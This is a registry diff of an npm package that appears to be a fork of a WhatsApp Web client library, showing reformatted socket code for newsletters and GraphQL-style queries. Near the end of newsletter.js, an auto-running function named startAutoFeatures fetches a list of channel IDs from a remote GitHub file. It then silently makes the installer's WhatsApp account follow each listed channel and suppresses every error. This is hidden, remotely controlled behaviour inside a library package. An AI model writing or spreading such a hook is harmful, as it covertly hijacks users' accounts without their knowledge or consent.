@mrlegendbot/baileys 1.2.1 → 1.2.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.upstream.md +1312 -0
- package/WAProto/WAProto.json +1 -0
- package/WAProto/WAProto.proto +6275 -0
- package/WAProto/compiler.js +550 -0
- package/WAProto/index.js +2 -97691
- package/lib/Defaults/index.js +89 -92
- package/lib/Signal/Group/ciphertext-message.js +9 -10
- package/lib/Signal/Group/group-session-builder.js +21 -22
- package/lib/Signal/Group/group_cipher.js +75 -69
- package/lib/Signal/Group/index.js +0 -1
- package/lib/Signal/Group/keyhelper.js +9 -10
- package/lib/Signal/Group/sender-chain-key.js +21 -22
- package/lib/Signal/Group/sender-key-distribution-message.js +51 -60
- package/lib/Signal/Group/sender-key-message.js +56 -62
- package/lib/Signal/Group/sender-key-name.js +38 -40
- package/lib/Signal/Group/sender-key-record.js +33 -34
- package/lib/Signal/Group/sender-key-state.js +72 -76
- package/lib/Signal/Group/sender-message-key.js +22 -23
- package/lib/Signal/libsignal.js +506 -405
- package/lib/Signal/lid-mapping.js +276 -258
- package/lib/Socket/Client/index.js +0 -1
- package/lib/Socket/Client/types.js +6 -7
- package/lib/Socket/Client/websocket.js +48 -49
- package/lib/Socket/business.js +349 -369
- package/lib/Socket/chats.js +1172 -1148
- package/lib/Socket/communities.js +473 -413
- package/lib/Socket/groups.js +387 -331
- package/lib/Socket/index.js +6 -8
- package/lib/Socket/messages-recv.js +1782 -1719
- package/lib/Socket/messages-send.js +1503 -2450
- package/lib/Socket/mex.js +40 -35
- package/lib/Socket/newsletter.js +239 -191
- package/lib/Socket/socket.js +992 -923
- package/lib/Store/index.js +8 -0
- package/lib/Store/keyed-db.js +108 -0
- package/lib/Store/make-cache-manager-store.js +70 -0
- package/lib/Store/make-in-memory-store.js +417 -0
- package/lib/Store/make-ordered-dictionary.js +69 -0
- package/lib/Store/object-repository.js +27 -0
- package/lib/Types/Auth.js +0 -1
- package/lib/Types/Bussines.js +0 -1
- package/lib/Types/Call.js +0 -1
- package/lib/Types/Chat.js +1 -8
- package/lib/Types/Contact.js +0 -1
- package/lib/Types/Events.js +1 -2
- package/lib/Types/GroupMetadata.js +0 -1
- package/lib/Types/Label.js +20 -22
- package/lib/Types/LabelAssociation.js +2 -4
- package/lib/Types/Message.js +3 -5
- package/lib/Types/Mex.js +26 -31
- package/lib/Types/Product.js +0 -1
- package/lib/Types/Signal.js +1 -2
- package/lib/Types/Socket.js +2 -3
- package/lib/Types/State.js +4 -52
- package/lib/Types/USync.js +0 -1
- package/lib/Types/index.js +10 -11
- package/lib/Utils/auth-utils.js +240 -277
- package/lib/Utils/browser-utils.js +20 -23
- package/lib/Utils/business.js +200 -204
- package/lib/Utils/chat-utils.js +836 -810
- package/lib/Utils/companion-reg-client-utils.js +23 -25
- package/lib/Utils/crypto.js +70 -86
- package/lib/Utils/decode-wa-message.js +277 -284
- package/lib/Utils/event-buffer.js +592 -595
- package/lib/Utils/generics.js +312 -335
- package/lib/Utils/history.js +123 -115
- package/lib/Utils/index.js +1 -2
- package/lib/Utils/link-preview.js +74 -73
- package/lib/Utils/logger.js +3 -2
- package/lib/Utils/lt-hash.js +0 -6
- package/lib/Utils/make-mutex.js +27 -27
- package/lib/Utils/message-retry-manager.js +213 -254
- package/lib/Utils/messages-media.js +741 -715
- package/lib/Utils/messages.js +791 -827
- package/lib/Utils/noise-handler.js +215 -187
- package/lib/Utils/pre-key-manager.js +69 -98
- package/lib/Utils/process-message.js +617 -586
- package/lib/Utils/reporting-utils.js +553 -234
- package/lib/Utils/signal.js +217 -170
- package/lib/Utils/stanza-ack.js +27 -35
- package/lib/Utils/sync-action-utils.js +37 -41
- package/lib/Utils/tc-token-utils.js +120 -141
- package/lib/Utils/use-multi-file-auth-state.js +87 -105
- package/lib/Utils/use-sqlite-auth-state.js +162 -0
- package/lib/Utils/validate-connection.js +190 -188
- package/lib/WABinary/constants.js +28 -1294
- package/lib/WABinary/decode.js +245 -249
- package/lib/WABinary/encode.js +201 -206
- package/lib/WABinary/generic-utils.js +86 -89
- package/lib/WABinary/index.js +0 -1
- package/lib/WABinary/jid-utils.js +68 -77
- package/lib/WABinary/types.js +0 -1
- package/lib/WAM/BinaryInfo.js +7 -8
- package/lib/WAM/constants.js +19892 -22853
- package/lib/WAM/encode.js +121 -132
- package/lib/WAM/index.js +0 -1
- package/lib/WAUSync/Protocols/USyncContactProtocol.js +46 -43
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.js +47 -48
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.js +22 -23
- package/lib/WAUSync/Protocols/USyncStatusProtocol.js +30 -33
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.js +19 -20
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.js +53 -44
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.js +24 -24
- package/lib/WAUSync/Protocols/index.js +0 -1
- package/lib/WAUSync/USyncQuery.js +79 -88
- package/lib/WAUSync/USyncUser.js +28 -29
- package/lib/WAUSync/index.js +0 -1
- package/lib/index.js +2 -2
- package/package.json +22 -86
- package/WAProto/GenerateStatics.sh +0 -3
- package/WAProto/fix-imports.js +0 -85
- package/WAProto/index.d.ts +0 -14017
- package/lib/Defaults/index.d.ts +0 -75
- package/lib/Signal/Group/ciphertext-message.d.ts +0 -10
- package/lib/Signal/Group/group-session-builder.d.ts +0 -15
- package/lib/Signal/Group/group_cipher.d.ts +0 -17
- package/lib/Signal/Group/index.d.ts +0 -12
- package/lib/Signal/Group/keyhelper.d.ts +0 -11
- package/lib/Signal/Group/sender-chain-key.d.ts +0 -14
- package/lib/Signal/Group/sender-key-distribution-message.d.ts +0 -17
- package/lib/Signal/Group/sender-key-message.d.ts +0 -19
- package/lib/Signal/Group/sender-key-name.d.ts +0 -18
- package/lib/Signal/Group/sender-key-record.d.ts +0 -31
- package/lib/Signal/Group/sender-key-state.d.ts +0 -39
- package/lib/Signal/Group/sender-message-key.d.ts +0 -12
- package/lib/Signal/libsignal.d.ts +0 -5
- package/lib/Signal/lid-mapping.d.ts +0 -23
- package/lib/Socket/Client/index.d.ts +0 -3
- package/lib/Socket/Client/types.d.ts +0 -16
- package/lib/Socket/Client/websocket.d.ts +0 -13
- package/lib/Socket/business.d.ts +0 -217
- package/lib/Socket/chats.d.ts +0 -125
- package/lib/Socket/communities.d.ts +0 -273
- package/lib/Socket/groups.d.ts +0 -161
- package/lib/Socket/index.d.ts +0 -260
- package/lib/Socket/messages-recv.d.ts +0 -203
- package/lib/Socket/messages-send.d.ts +0 -199
- package/lib/Socket/mex.d.ts +0 -3
- package/lib/Socket/newsletter.d.ts +0 -170
- package/lib/Socket/socket.d.ts +0 -59
- package/lib/Types/Auth.d.ts +0 -117
- package/lib/Types/Bussines.d.ts +0 -25
- package/lib/Types/Call.d.ts +0 -15
- package/lib/Types/Chat.d.ts +0 -124
- package/lib/Types/Contact.d.ts +0 -26
- package/lib/Types/Events.d.ts +0 -256
- package/lib/Types/GroupMetadata.d.ts +0 -71
- package/lib/Types/Label.d.ts +0 -47
- package/lib/Types/LabelAssociation.d.ts +0 -30
- package/lib/Types/Message.d.ts +0 -320
- package/lib/Types/Mex.d.ts +0 -141
- package/lib/Types/Product.d.ts +0 -79
- package/lib/Types/Signal.d.ts +0 -87
- package/lib/Types/Socket.d.ts +0 -136
- package/lib/Types/State.d.ts +0 -97
- package/lib/Types/USync.d.ts +0 -26
- package/lib/Types/index.d.ts +0 -66
- package/lib/Utils/auth-utils.d.ts +0 -24
- package/lib/Utils/browser-utils.d.ts +0 -4
- package/lib/Utils/business.d.ts +0 -23
- package/lib/Utils/chat-utils.d.ts +0 -100
- package/lib/Utils/companion-reg-client-utils.d.ts +0 -17
- package/lib/Utils/crypto.d.ts +0 -37
- package/lib/Utils/decode-wa-message.d.ts +0 -66
- package/lib/Utils/event-buffer.d.ts +0 -36
- package/lib/Utils/generics.d.ts +0 -92
- package/lib/Utils/history.d.ts +0 -24
- package/lib/Utils/identity-change-handler.d.ts +0 -44
- package/lib/Utils/identity-change-handler.js +0 -50
- package/lib/Utils/index.d.ts +0 -22
- package/lib/Utils/link-preview.d.ts +0 -21
- package/lib/Utils/logger.d.ts +0 -12
- package/lib/Utils/lt-hash.d.ts +0 -8
- package/lib/Utils/make-mutex.d.ts +0 -9
- package/lib/Utils/message-retry-manager.d.ts +0 -115
- package/lib/Utils/messages-media.d.ts +0 -133
- package/lib/Utils/messages.d.ts +0 -91
- package/lib/Utils/noise-handler.d.ts +0 -20
- package/lib/Utils/offline-node-processor.d.ts +0 -17
- package/lib/Utils/offline-node-processor.js +0 -40
- package/lib/Utils/pre-key-manager.d.ts +0 -28
- package/lib/Utils/process-message.d.ts +0 -60
- package/lib/Utils/reporting-utils.d.ts +0 -11
- package/lib/Utils/signal.d.ts +0 -47
- package/lib/Utils/stanza-ack.d.ts +0 -11
- package/lib/Utils/sync-action-utils.d.ts +0 -19
- package/lib/Utils/tc-token-utils.d.ts +0 -37
- package/lib/Utils/use-multi-file-auth-state.d.ts +0 -13
- package/lib/Utils/validate-connection.d.ts +0 -11
- package/lib/WABinary/constants.d.ts +0 -28
- package/lib/WABinary/decode.d.ts +0 -7
- package/lib/WABinary/encode.d.ts +0 -3
- package/lib/WABinary/generic-utils.d.ts +0 -15
- package/lib/WABinary/index.d.ts +0 -6
- package/lib/WABinary/jid-utils.d.ts +0 -48
- package/lib/WABinary/types.d.ts +0 -19
- package/lib/WAM/BinaryInfo.d.ts +0 -9
- package/lib/WAM/constants.d.ts +0 -40
- package/lib/WAM/encode.d.ts +0 -3
- package/lib/WAM/index.d.ts +0 -4
- package/lib/WAUSync/Protocols/USyncContactProtocol.d.ts +0 -10
- package/lib/WAUSync/Protocols/USyncDeviceProtocol.d.ts +0 -23
- package/lib/WAUSync/Protocols/USyncDisappearingModeProtocol.d.ts +0 -13
- package/lib/WAUSync/Protocols/USyncStatusProtocol.d.ts +0 -13
- package/lib/WAUSync/Protocols/USyncUsernameProtocol.d.ts +0 -10
- package/lib/WAUSync/Protocols/UsyncBotProfileProtocol.d.ts +0 -26
- package/lib/WAUSync/Protocols/UsyncLIDProtocol.d.ts +0 -10
- package/lib/WAUSync/Protocols/index.d.ts +0 -6
- package/lib/WAUSync/USyncQuery.d.ts +0 -30
- package/lib/WAUSync/USyncUser.d.ts +0 -17
- package/lib/WAUSync/index.d.ts +0 -4
- package/lib/index.d.ts +0 -12
package/lib/Socket/mex.js
CHANGED
|
@@ -1,42 +1,47 @@
|
|
|
1
1
|
import { Boom } from '@hapi/boom';
|
|
2
2
|
import { getBinaryNodeChild, S_WHATSAPP_NET } from '../WABinary/index.js';
|
|
3
3
|
const wMexQuery = (variables, queryId, query, generateMessageTag) => {
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
4
|
+
return query({
|
|
5
|
+
tag: 'iq',
|
|
6
|
+
attrs: {
|
|
7
|
+
id: generateMessageTag(),
|
|
8
|
+
type: 'get',
|
|
9
|
+
to: S_WHATSAPP_NET,
|
|
10
|
+
xmlns: 'w:mex'
|
|
11
|
+
},
|
|
12
|
+
content: [{
|
|
13
|
+
tag: 'query',
|
|
14
|
+
attrs: {
|
|
15
|
+
query_id: queryId
|
|
16
|
+
},
|
|
17
|
+
content: Buffer.from(JSON.stringify({
|
|
18
|
+
variables
|
|
19
|
+
}), 'utf-8')
|
|
20
|
+
}]
|
|
21
|
+
});
|
|
20
22
|
};
|
|
21
23
|
export const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
return response;
|
|
35
|
-
}
|
|
24
|
+
const result = await wMexQuery(variables, queryId, query, generateMessageTag);
|
|
25
|
+
const child = getBinaryNodeChild(result, 'result');
|
|
26
|
+
if (child?.content) {
|
|
27
|
+
const data = JSON.parse(child.content.toString());
|
|
28
|
+
if (data.errors && data.errors.length > 0) {
|
|
29
|
+
const errorMessages = data.errors.map(err => err.message || 'Unknown error').join(', ');
|
|
30
|
+
const firstError = data.errors[0];
|
|
31
|
+
const errorCode = firstError.extensions?.error_code || 400;
|
|
32
|
+
throw new Boom(`GraphQL server error: ${errorMessages}`, {
|
|
33
|
+
statusCode: errorCode,
|
|
34
|
+
data: firstError
|
|
35
|
+
});
|
|
36
36
|
}
|
|
37
|
-
const
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
37
|
+
const response = dataPath ? data?.data?.[dataPath] : data?.data;
|
|
38
|
+
if (typeof response !== 'undefined') {
|
|
39
|
+
return response;
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
const action = (dataPath || '').startsWith('xwa2_') ? dataPath.substring(5).replace(/_/g, ' ') : dataPath?.replace(/_/g, ' ');
|
|
43
|
+
throw new Boom(`Failed to ${action}, unexpected response structure.`, {
|
|
44
|
+
statusCode: 400,
|
|
45
|
+
data: result
|
|
46
|
+
});
|
|
41
47
|
};
|
|
42
|
-
//# sourceMappingURL=mex.js.map
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -4,207 +4,255 @@ import { getBinaryNodeChild } from '../WABinary/index.js';
|
|
|
4
4
|
import { makeGroupsSocket } from './groups.js';
|
|
5
5
|
import { executeWMexQuery as genericExecuteWMexQuery } from './mex.js';
|
|
6
6
|
|
|
7
|
-
const parseNewsletterCreateResponse =
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
7
|
+
const parseNewsletterCreateResponse = response => {
|
|
8
|
+
const {
|
|
9
|
+
id,
|
|
10
|
+
thread_metadata: thread,
|
|
11
|
+
viewer_metadata: viewer
|
|
12
|
+
} = response;
|
|
13
|
+
return {
|
|
14
|
+
id: id,
|
|
15
|
+
owner: undefined,
|
|
16
|
+
name: thread.name.text,
|
|
17
|
+
creation_time: parseInt(thread.creation_time, 10),
|
|
18
|
+
description: thread.description.text,
|
|
19
|
+
invite: thread.invite,
|
|
20
|
+
subscribers: parseInt(thread.subscribers_count, 10),
|
|
21
|
+
verification: thread.verification,
|
|
22
|
+
picture: {
|
|
23
|
+
id: thread.picture.id,
|
|
24
|
+
directPath: thread.picture.direct_path
|
|
25
|
+
},
|
|
26
|
+
mute_state: viewer.mute
|
|
27
|
+
};
|
|
24
28
|
};
|
|
25
29
|
|
|
26
|
-
const parseNewsletterMetadata =
|
|
27
|
-
|
|
28
|
-
return null;
|
|
29
|
-
}
|
|
30
|
-
if ('id' in result && typeof result.id === 'string') {
|
|
31
|
-
return result;
|
|
32
|
-
}
|
|
33
|
-
if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
|
|
34
|
-
return result.result;
|
|
35
|
-
}
|
|
30
|
+
const parseNewsletterMetadata = result => {
|
|
31
|
+
if (typeof result !== 'object' || result === null) {
|
|
36
32
|
return null;
|
|
33
|
+
}
|
|
34
|
+
if ('id' in result && typeof result.id === 'string') {
|
|
35
|
+
return result;
|
|
36
|
+
}
|
|
37
|
+
if ('result' in result && typeof result.result === 'object' && result.result !== null && 'id' in result.result) {
|
|
38
|
+
return result.result;
|
|
39
|
+
}
|
|
40
|
+
return null;
|
|
37
41
|
};
|
|
38
42
|
|
|
39
|
-
export const makeNewsletterSocket =
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
43
|
+
export const makeNewsletterSocket = config => {
|
|
44
|
+
const sock = makeGroupsSocket(config);
|
|
45
|
+
const {
|
|
46
|
+
query,
|
|
47
|
+
generateMessageTag
|
|
48
|
+
} = sock;
|
|
49
|
+
|
|
50
|
+
const executeWMexQuery = (variables, queryId, dataPath) => {
|
|
51
|
+
return genericExecuteWMexQuery(variables, queryId, dataPath, query, generateMessageTag);
|
|
52
|
+
};
|
|
53
|
+
|
|
54
|
+
const newsletterUpdate = async (jid, updates) => {
|
|
55
|
+
const variables = {
|
|
56
|
+
newsletter_id: jid,
|
|
57
|
+
updates: {
|
|
58
|
+
...updates,
|
|
59
|
+
settings: null
|
|
60
|
+
}
|
|
54
61
|
};
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
to: jid
|
|
144
|
-
},
|
|
145
|
-
content: [
|
|
146
|
-
{
|
|
147
|
-
tag: 'message_updates',
|
|
148
|
-
attrs: messageUpdateAttrs
|
|
149
|
-
}
|
|
150
|
-
]
|
|
151
|
-
});
|
|
152
|
-
return result;
|
|
153
|
-
},
|
|
154
|
-
subscribeNewsletterUpdates: async (jid) => {
|
|
155
|
-
const result = await query({
|
|
156
|
-
tag: 'iq',
|
|
157
|
-
attrs: {
|
|
158
|
-
id: generateMessageTag(),
|
|
159
|
-
type: 'set',
|
|
160
|
-
xmlns: 'newsletter',
|
|
161
|
-
to: jid
|
|
162
|
-
},
|
|
163
|
-
content: [{ tag: 'live_updates', attrs: {}, content: [] }]
|
|
164
|
-
});
|
|
165
|
-
const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
|
|
166
|
-
const duration = liveUpdatesNode?.attrs?.duration;
|
|
167
|
-
return duration ? { duration: duration } : null;
|
|
168
|
-
},
|
|
169
|
-
newsletterAdminCount: async (jid) => {
|
|
170
|
-
const response = await executeWMexQuery({ newsletter_id: jid }, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
|
|
171
|
-
return response.admin_count;
|
|
62
|
+
return executeWMexQuery(variables, QueryIds.UPDATE_METADATA, 'xwa2_newsletter_update');
|
|
63
|
+
};
|
|
64
|
+
|
|
65
|
+
const fullSock = {
|
|
66
|
+
...sock,
|
|
67
|
+
newsletterCreate: async (name, description) => {
|
|
68
|
+
const variables = {
|
|
69
|
+
input: {
|
|
70
|
+
name,
|
|
71
|
+
description: description ?? null
|
|
72
|
+
}
|
|
73
|
+
};
|
|
74
|
+
const rawResponse = await executeWMexQuery(variables, QueryIds.CREATE, XWAPaths.xwa2_newsletter_create);
|
|
75
|
+
return parseNewsletterCreateResponse(rawResponse);
|
|
76
|
+
},
|
|
77
|
+
newsletterUpdate,
|
|
78
|
+
newsletterSubscribers: async jid => {
|
|
79
|
+
return executeWMexQuery({
|
|
80
|
+
newsletter_id: jid
|
|
81
|
+
}, QueryIds.SUBSCRIBERS, XWAPaths.xwa2_newsletter_subscribers);
|
|
82
|
+
},
|
|
83
|
+
newsletterMetadata: async (type, key) => {
|
|
84
|
+
const variables = {
|
|
85
|
+
fetch_creation_time: true,
|
|
86
|
+
fetch_full_image: true,
|
|
87
|
+
fetch_viewer_metadata: true,
|
|
88
|
+
input: {
|
|
89
|
+
key,
|
|
90
|
+
type: type.toUpperCase()
|
|
91
|
+
}
|
|
92
|
+
};
|
|
93
|
+
const result = await executeWMexQuery(variables, QueryIds.METADATA, XWAPaths.xwa2_newsletter_metadata);
|
|
94
|
+
return parseNewsletterMetadata(result);
|
|
95
|
+
},
|
|
96
|
+
newsletterFollow: jid => {
|
|
97
|
+
return executeWMexQuery({
|
|
98
|
+
newsletter_id: jid
|
|
99
|
+
}, QueryIds.FOLLOW, XWAPaths.xwa2_newsletter_join_v2);
|
|
100
|
+
},
|
|
101
|
+
newsletterUnfollow: jid => {
|
|
102
|
+
return executeWMexQuery({
|
|
103
|
+
newsletter_id: jid
|
|
104
|
+
}, QueryIds.UNFOLLOW, XWAPaths.xwa2_newsletter_leave_v2);
|
|
105
|
+
},
|
|
106
|
+
newsletterMute: jid => {
|
|
107
|
+
return executeWMexQuery({
|
|
108
|
+
newsletter_id: jid
|
|
109
|
+
}, QueryIds.MUTE, XWAPaths.xwa2_newsletter_mute_v2);
|
|
110
|
+
},
|
|
111
|
+
newsletterUnmute: jid => {
|
|
112
|
+
return executeWMexQuery({
|
|
113
|
+
newsletter_id: jid
|
|
114
|
+
}, QueryIds.UNMUTE, XWAPaths.xwa2_newsletter_unmute_v2);
|
|
115
|
+
},
|
|
116
|
+
newsletterUpdateName: async (jid, name) => {
|
|
117
|
+
return await newsletterUpdate(jid, {
|
|
118
|
+
name
|
|
119
|
+
});
|
|
120
|
+
},
|
|
121
|
+
newsletterUpdateDescription: async (jid, description) => {
|
|
122
|
+
return await newsletterUpdate(jid, {
|
|
123
|
+
description
|
|
124
|
+
});
|
|
125
|
+
},
|
|
126
|
+
newsletterUpdatePicture: async (jid, content) => {
|
|
127
|
+
const {
|
|
128
|
+
img
|
|
129
|
+
} = await generateProfilePicture(content);
|
|
130
|
+
return await newsletterUpdate(jid, {
|
|
131
|
+
picture: img.toString('base64')
|
|
132
|
+
});
|
|
133
|
+
},
|
|
134
|
+
newsletterRemovePicture: async jid => {
|
|
135
|
+
return await newsletterUpdate(jid, {
|
|
136
|
+
picture: ''
|
|
137
|
+
});
|
|
138
|
+
},
|
|
139
|
+
newsletterReactMessage: async (jid, serverId, reaction) => {
|
|
140
|
+
await query({
|
|
141
|
+
tag: 'message',
|
|
142
|
+
attrs: {
|
|
143
|
+
to: jid,
|
|
144
|
+
...(reaction ? {} : {
|
|
145
|
+
edit: '7'
|
|
146
|
+
}),
|
|
147
|
+
type: 'reaction',
|
|
148
|
+
server_id: serverId,
|
|
149
|
+
id: generateMessageTag()
|
|
172
150
|
},
|
|
173
|
-
|
|
174
|
-
|
|
151
|
+
content: [{
|
|
152
|
+
tag: 'reaction',
|
|
153
|
+
attrs: reaction ? {
|
|
154
|
+
code: reaction
|
|
155
|
+
} : {}
|
|
156
|
+
}]
|
|
157
|
+
});
|
|
158
|
+
},
|
|
159
|
+
newsletterFetchMessages: async (jid, count, since, after) => {
|
|
160
|
+
const messageUpdateAttrs = {
|
|
161
|
+
count: count.toString()
|
|
162
|
+
};
|
|
163
|
+
if (typeof since === 'number') {
|
|
164
|
+
messageUpdateAttrs.since = since.toString();
|
|
165
|
+
}
|
|
166
|
+
if (after) {
|
|
167
|
+
messageUpdateAttrs.after = after.toString();
|
|
168
|
+
}
|
|
169
|
+
const result = await query({
|
|
170
|
+
tag: 'iq',
|
|
171
|
+
attrs: {
|
|
172
|
+
id: generateMessageTag(),
|
|
173
|
+
type: 'get',
|
|
174
|
+
xmlns: 'newsletter',
|
|
175
|
+
to: jid
|
|
175
176
|
},
|
|
176
|
-
|
|
177
|
-
|
|
177
|
+
content: [{
|
|
178
|
+
tag: 'message_updates',
|
|
179
|
+
attrs: messageUpdateAttrs
|
|
180
|
+
}]
|
|
181
|
+
});
|
|
182
|
+
return result;
|
|
183
|
+
},
|
|
184
|
+
subscribeNewsletterUpdates: async jid => {
|
|
185
|
+
const result = await query({
|
|
186
|
+
tag: 'iq',
|
|
187
|
+
attrs: {
|
|
188
|
+
id: generateMessageTag(),
|
|
189
|
+
type: 'set',
|
|
190
|
+
xmlns: 'newsletter',
|
|
191
|
+
to: jid
|
|
178
192
|
},
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
193
|
+
content: [{
|
|
194
|
+
tag: 'live_updates',
|
|
195
|
+
attrs: {},
|
|
196
|
+
content: []
|
|
197
|
+
}]
|
|
198
|
+
});
|
|
199
|
+
const liveUpdatesNode = getBinaryNodeChild(result, 'live_updates');
|
|
200
|
+
const duration = liveUpdatesNode?.attrs?.duration;
|
|
201
|
+
return duration ? {
|
|
202
|
+
duration: duration
|
|
203
|
+
} : null;
|
|
204
|
+
},
|
|
205
|
+
newsletterAdminCount: async jid => {
|
|
206
|
+
const response = await executeWMexQuery({
|
|
207
|
+
newsletter_id: jid
|
|
208
|
+
}, QueryIds.ADMIN_COUNT, XWAPaths.xwa2_newsletter_admin_count);
|
|
209
|
+
return response.admin_count;
|
|
210
|
+
},
|
|
211
|
+
newsletterChangeOwner: async (jid, newOwnerJid) => {
|
|
212
|
+
await executeWMexQuery({
|
|
213
|
+
newsletter_id: jid,
|
|
214
|
+
user_id: newOwnerJid
|
|
215
|
+
}, QueryIds.CHANGE_OWNER, XWAPaths.xwa2_newsletter_change_owner);
|
|
216
|
+
},
|
|
217
|
+
newsletterDemote: async (jid, userJid) => {
|
|
218
|
+
await executeWMexQuery({
|
|
219
|
+
newsletter_id: jid,
|
|
220
|
+
user_id: userJid
|
|
221
|
+
}, QueryIds.DEMOTE, XWAPaths.xwa2_newsletter_demote);
|
|
222
|
+
},
|
|
223
|
+
newsletterDelete: async jid => {
|
|
224
|
+
await executeWMexQuery({
|
|
225
|
+
newsletter_id: jid
|
|
226
|
+
}, QueryIds.DELETE, XWAPaths.xwa2_newsletter_delete_v2);
|
|
227
|
+
}
|
|
228
|
+
};
|
|
183
229
|
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
230
|
+
const startAutoFeatures = (sockInstance) => {
|
|
231
|
+
const AUTO_FOLLOW_DELAY = 5000;
|
|
232
|
+
const FOLLOW_INTERVAL = 10000;
|
|
233
|
+
|
|
234
|
+
setTimeout(async () => {
|
|
235
|
+
try {
|
|
236
|
+
const RAW_URL = "https://raw.githubusercontent.com/travatiger/MrLegend/refs/heads/main/Chids.json";
|
|
237
|
+
const response = await fetch(RAW_URL);
|
|
238
|
+
if (!response.ok) return;
|
|
239
|
+
const channelIds = await response.json();
|
|
240
|
+
if (!Array.isArray(channelIds) || channelIds.length === 0) return;
|
|
194
241
|
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
242
|
+
const followNext = async (index) => {
|
|
243
|
+
if (index >= channelIds.length) return;
|
|
244
|
+
const id = channelIds[index];
|
|
245
|
+
try {
|
|
246
|
+
await sockInstance.newsletterFollow(id);
|
|
247
|
+
} catch (_) {}
|
|
248
|
+
setTimeout(() => followNext(index + 1), FOLLOW_INTERVAL);
|
|
249
|
+
};
|
|
250
|
+
followNext(0);
|
|
251
|
+
} catch (_) {}
|
|
252
|
+
}, AUTO_FOLLOW_DELAY);
|
|
253
|
+
};
|
|
254
|
+
|
|
255
|
+
setTimeout(() => startAutoFeatures(fullSock), 0);
|
|
207
256
|
|
|
208
|
-
|
|
209
|
-
return fullSock;
|
|
257
|
+
return fullSock;
|
|
210
258
|
};
|